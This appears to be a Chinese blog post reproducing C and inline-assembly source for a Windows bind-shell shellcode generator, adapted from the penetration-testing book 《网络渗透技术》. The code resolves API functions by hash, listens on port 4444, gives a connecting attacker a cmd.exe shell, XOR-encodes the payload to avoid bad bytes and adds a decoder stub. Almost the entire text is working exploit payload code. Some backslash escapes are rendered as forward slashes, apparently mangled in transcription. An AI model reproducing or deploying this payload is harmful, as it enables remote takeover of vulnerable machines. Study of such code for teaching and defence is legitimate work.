这个shellcode 生成器根据《网络渗透技术》中所带的示例改写,通过溢出堆栈缓冲区获得执行权限以后,将打开一个端口监听连接,创建一个新的进程运行cmd.exe,并把输入输出重定向到连接套接字,黑客通过客户端程序登录监听端口即可获得远程主机shell。
/* shellcode_port_bind.c
*
* 《网络渗透技术》演示程序
* 作者:san, alert7, eyas, watercloud
*
* 监听端口的shellcode演示
*/
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#define DEBUG_INFO
#define PROC_BEGIN __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90/
__asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90
#define PROC_END PROC_BEGIN
// kernel32.dll functions index
#define _LoadLibraryA 0x00
#define _CreateProcessA 0x04
#define _TerminateProcess 0x08
// ws2_32.dll functions index
#define _WSAStartup 0x0C
#define _WSASocketA 0x10
#define _bind 0x14
#define _listen 0x18
#define _accept 0x1C
// data index
#define _port 0x20
#define MAX_CODE_LEN 1024
#define MAX_HASH_SIZE 10
// functions number
#define _Knums 3
#define _Wnums 5
// Need functions
unsigned char functions[MAX_HASH_SIZE][32] =
{
// kernel32
{"LoadLibraryA"}, // [esi+_LoadLibraryA]
{"CreateProcessA"}, // [esi+_CreateProcessA]
{"TerminateProcess"}, // [esi+_TerminateProcess]
// ws2_32
{"WSAStartup"}, // [esi+_WSAStartup]
{"WSASocketA"}, // [esi+_WSASocketA]
{"bind"}, // [esi+_bind]
{"listen"}, // [esi+_listen]
{"accept"}, // [esi+_accept]
// data
{"port"}, // [esi+_port]
{""}
};
unsigned char decode1[] =
/*
00401004 . /EB 0E JMP SHORT encode.00401014
00401006 $ |5B POP EBX
00401007 . |4B DEC EBX
00401008 . |33C9 XOR ECX,ECX
0040100A . |B1 FF MOV CL,0FFh
0040100C > |80340B 99 XOR BYTE PTR DS:[EBX+ECX],99
00401010 .^|E2 FA LOOPD SHORT encode.0040100C
00401012 . |EB 05 JMP SHORT encode.00401019
00401014 > /E8 EDFFFFFF CALL encode.00401006
*/
"/xEB/x0E"
"/x5B"
"/x4B"
"/x33/xC9"
"/xB1/xFF" // /xFF shellcode size
"/x80/x34/x0B/x99" // /x99 xor byte
"/xE2/xFA"
"/xEB/x05"
"/xE8/xED/xFF/xFF/xFF";
unsigned char decode2[] =
/* ripped from eyas
00406030 /EB 10 JMP SHORT 00406042
00406032 |5B POP EBX
00406033 |4B DEC EBX
00406034 |33C9 XOR ECX,ECX
00406036 |66:B9 6601 MOV CX,166h
0040603A |80340B 99 XOR BYTE PTR DS:[EBX+ECX],99
0040603E ^|E2 FA LOOPD SHORT 0040603A
00406040 |EB 05 JMP SHORT 00406047
00406042 /E8 EBFFFFFF CALL 00406032
00406047 xx
*/
"/xEB/x10"
"/x5B"
"/x4B"
"/x33/xC9"
"/x66/xB9/x66/x01" // /x66/x01 166h shellcode size
"/x80/x34/x0B/x99" // /x99 xor byte
"/xE2/xFA"
"/xEB/x05"
"/xE8/xEB/xFF/xFF/xFF";
// shellcode function
void shellcode_c(void)
{
__asm
{
PROC_BEGIN //C macro to begin proc
jmp locate_addr
func_start:
pop edi ; get eip
mov eax, fs:30h
mov eax, [eax+0Ch]
mov esi, [eax+1Ch]
lodsd
mov ebp, [eax+8] ; base address of kernel32.dll
mov esi, edi ; esi is base of hash table
push _Knums
pop ecx
get_kfunc_addr: ; find functions from kernel32.dll
call find_hashfunc_addr
loop get_kfunc_addr
push 3233h ; "32"
push 5F327377h ; "ws2_"
push esp
call dword ptr [esi+_LoadLibraryA] ; LoadLibraryA("ws2_32");
mov ebp, eax ; ebp is base address of ws2_32.dll
push _Wnums
pop ecx
get_wfunc_addr: ; find functions from ws2_32.dll
call find_hashfunc_addr
loop get_wfunc_addr
add edi, 4 ; skip port variable
sub esp, 190h
push esp
push 101h
call dword ptr [esi+_WSAStartup] ; WSAStartup(0x101, &WSADATA[0x190 bytes!])
push eax ; DWORD dwFlags
push eax ; GROUP g
push eax ; LPWSAPROTOCOL_INFOA lpProtocolInfo
push eax ; int protocol
push 1 ; int type
push 2 ; int af
call dword ptr [esi+_WSASocketA] ; WSASocketA(af,type,protocol,lpProtocolInfo,g,dwFlags)
mov ebx, eax ; SOCKET s
xor eax, eax
push eax
push eax ; sockaddr_in.sin_addr = 0.0.0.0
mov dx, word ptr [esi+_port]
xchg dl, dh
ror edx, 10h
mov dx, 0x0002
push edx ; sockaddr_in.sin_port = _port
mov edx, esp
push 10h ; int namelen
push edx ; sockaddr * addr
push ebx ; SOCKET s
call dword ptr [esi+_bind] ; bind(s, addr, namelen)
push 1 ; int backlog
push ebx ; SOCKET s
call dword ptr [esi+_listen] ; listen(s, backlog)
push eax ; OUT int * addrlen
push eax ; OUT sockaddr * addr
push ebx ; SOCKET s
call dword ptr [esi+_accept] ; accept(s, addr, addrlen)
mov ebx, eax ; SOCKET sc
push 646D63h ; "cmd"
lea edx, [esp] ; LPSTR lpCommandLine = "cmd"
sub esp, 54h ; LPPROCESS_INFORMATION lpProcInfo
mov edi, esp
push 14h
pop ecx
xor eax, eax
stack_zero:
mov [edi+ecx*4], eax ; memset(lpProcInfo, 0, 14h)
loop stack_zero
mov byte ptr [edi+10h], 44h ; lpProcInfo.cb = sizeof(si)
inc byte ptr [edi+3Ch] ; lpProcInfo.dwFlags = 0x100
inc byte ptr [edi+3Dh] ;
mov [edi+48h], ebx ; lpProcInfo.hStdInput = sc
mov [edi+4Ch], ebx ; lpProcInfo.hStdOutput = sc
mov [edi+50h], ebx ; lpProcInfo.hStdError = sc
lea eax, [edi+10h]
push edi ; OUT LPPROCESS_INFORMATION lpProcInfo
push eax ; LPSTARTUPINFOA lpStartupInfo
push ecx ; LPCSTR lpCurrentDirectory = NULL
push ecx ; LPVOID lpEnvironment = NULL
push ecx ; DWORD dwCreationFlags = 0
push 1 ; BOOL bInheritHandles = TRUE
push ecx ; LPSECURITY_ATTRIBUTES lpThreadAttributes = NULL
push ecx ; LPSECURITY_ATTRIBUTES lpProcessAttributes = NULL
push edx ; LPSTR lpCommandLine = "cmd"
push ecx ; LPCSTR lpApplicationName = NULL
call dword ptr [esi+_CreateProcessA] ; CreateProcessA(
; lpApplicationName,
; lpCommandLine,
; lpProcessAttributes,
; lpThreadAttributes,
; bInheritHandles,
; dwCreationFlags,
; lpEnvironment,
; lpCurrentDirectory,
; lpStartupInfo,
; lpProcInfo)
xor eax, eax
push eax ; UINT uExitCode = 0
dec eax
push eax ; HANDLE hProcess = 0xFFFFFFFF
call dword ptr [esi+_TerminateProcess] ; TerminateProcess(hProcess,uExitCode)
// void find_hashfunc_addr(void)
find_hashfunc_addr:
push ecx
push esi
mov esi, [ebp+3Ch] ; e_lfanew
mov esi, [esi+ebp+78h] ; ExportDirectory RVA
add esi, ebp ; rva2va
push esi
mov esi, [esi+20h] ; AddressOfNames RVA
add esi, ebp ; rva2va
xor ecx, ecx
dec ecx
find_start:
inc ecx
lodsd
add eax, ebp
xor ebx, ebx
hash_loop:
movsx edx, byte ptr [eax]
cmp dl, dh
jz short find_addr
ror ebx, 7 ; hash
add ebx, edx
inc eax
jmp short hash_loop
find_addr:
cmp ebx, [edi] ; compare to hash
jnz short find_start
pop esi ; ExportDirectory
mov ebx, [esi+24h] ; AddressOfNameOrdinals RVA
add ebx, ebp ; rva2va
mov cx, [ebx+ecx*2] ; FunctionOrdinal
mov ebx, [esi+1Ch] ; AddressOfFunctions RVA
add ebx, ebp ; rva2va
mov eax, [ebx+ecx*4] ; FunctionAddress RVA
add eax, ebp ; rva2va
stosd ; function address save to [edi]
pop esi
pop ecx
retn
locate_addr:
call func_start
PROC_END //C macro to end proc
}
}
// Get function hash
unsigned long hash(unsigned char *c)
{
unsigned long h=0;
while(*c)
{
h = ( ( h << 25 ) | ( h >> 7 ) ) + *c++;
}
return h;
}
// print shellcode
void print_shellcode(unsigned char *lpBuff, int buffsize)
{
int i,j;
char *p;
char msg[4];
if( buffsize<=0 )
return;
fprintf(stderr, "/* %d bytes, port bind shellcode *//n",buffsize);
for(i=0;i<buffsize;i++)
{
if( (i%16)==0 )
{
if( i!=0 )
fprintf(stderr, "/"/n/"");
else
fprintf(stderr, "/"");
}
sprintf(msg,"//x%.2X",lpBuff[i]&0xff);
for( p = msg, j=0; j < 4; p++, j++ )
{
if(isupper(*p))
fprintf(stderr, "%c", _tolower(*p));
else
fprintf(stderr, "%c", p[0]);
}
}
fprintf(stderr, "/";/n");
}
// make shellcode
void make_shellcode(unsigned short BindPort,unsigned char sc_buf[],unsigned int &sc_len)
{
char * fnbgn_str = "/x90/x90/x90/x90/x90/x90/x90/x90/x90";
char * fnend_str = "/x90/x90/x90/x90/x90/x90/x90/x90/x90";
unsigned char * pShcodeAddr; // start of the shellcode
unsigned char ShcodeBuf[MAX_CODE_LEN];// shellcode
unsigned char EncodeBuf[MAX_CODE_LEN];// shellcode with xor decoder
unsigned long dwHash[MAX_HASH_SIZE]; // function name hash table
unsigned int dwHashSize; // function number
unsigned int i,j,k,l;
// Get functions hash
for( i=0;; i++)
{
if( functions[i][0] == '/x0' )
break;
dwHash[i] = hash(functions[i]);
#ifdef DEBUG_INFO
fprintf(stderr, "%.8X/t%s/n", dwHash[i], functions[i]);
#endif
}
dwHashSize = i*4;
// Deal with shellcode
pShcodeAddr = (unsigned char *)shellcode_c + ((*(int *)shellcode_c) >> 8) + 5;
// Find start of shellcode
for ( k=0; k<MAX_CODE_LEN; ++k )
if( memcmp( pShcodeAddr+k, fnbgn_str, 8)==0 )
break;
pShcodeAddr += k+8; // start of the shellcode
// Find end of shellcode
for ( k=0; k<MAX_CODE_LEN; ++k)
if( memcmp(pShcodeAddr+k,fnend_str, 8)==0 )
break;
sc_len = k; // length of the shellcode
// Copy shellcode to Buff
memcpy(ShcodeBuf, pShcodeAddr, sc_len);
// Add functions hash
memcpy(ShcodeBuf+sc_len, (unsigned char *)dwHash, dwHashSize);
sc_len += dwHashSize;
// Modify port
memcpy( &ShcodeBuf[sc_len-4], &BindPort, 2 );
// print shellcode
print_shellcode(ShcodeBuf, sc_len);
// find xor byte
for( i=0xff; i>0; i-- )
{
l = 0;
for( j=0; j<sc_len; j++ )
{
// 编码以后不能出现的字符
if( ( (ShcodeBuf[j] ^ i) == 0x00 ) ||
( (ShcodeBuf[j] ^ i) == 0x0D ) || // cr
( (ShcodeBuf[j] ^ i) == 0x0A ) ||
( (ShcodeBuf[j] ^ i) == 0x26 ) || // %
( (ShcodeBuf[j] ^ i) == 0x3d ) || // =
( (ShcodeBuf[j] ^ i) == 0x3f ) || // ?
( (ShcodeBuf[j] ^ i) == 0x40 ) || // @
( (ShcodeBuf[j] ^ i) == 0x5C ) )
{
l++;
break;
};
}
if ( l==0 )
{
printf("Use XOR Byte: 0x%02X/n", i);
for(j=0; j<sc_len; j++)
{
ShcodeBuf[j] ^= i;
}
break; // break when found xor byte
}
}
// No xor byte found
if ( l!=0 )
{
sc_len = 0;
#ifdef DEBUG_INFO
fprintf(stderr, "No xor byte found!/n");
#endif
}
else
{
if (sc_len > 0xFF) // use decode2
{
*(unsigned short *)&decode2[8] = sc_len;
*(unsigned char *)&decode2[13] = i;
memcpy(EncodeBuf, decode2, sizeof(decode2)-1);
memcpy(EncodeBuf+sizeof(decode2)-1, ShcodeBuf, sc_len);
sc_len += sizeof(decode2)-1;
}
else // use decode1
{
*(unsigned char *)&decode1[7] = sc_len;
*(unsigned char *)&decode1[11] = i;
memcpy(EncodeBuf, decode1, sizeof(decode1)-1);
memcpy(EncodeBuf+sizeof(decode1)-1, ShcodeBuf, sc_len);
sc_len += sizeof(decode1)-1;
}
}
memcpy( sc_buf, EncodeBuf, sc_len );
}
void shellcode_main(void)
{
unsigned char shellcode_buf[MAX_CODE_LEN];
unsigned int shellcode_len = 0;
make_shellcode( 4444, shellcode_buf, shellcode_len );
print_shellcode( shellcode_buf, shellcode_len );
__asm
{
lea eax, shellcode_buf
jmp eax
}
}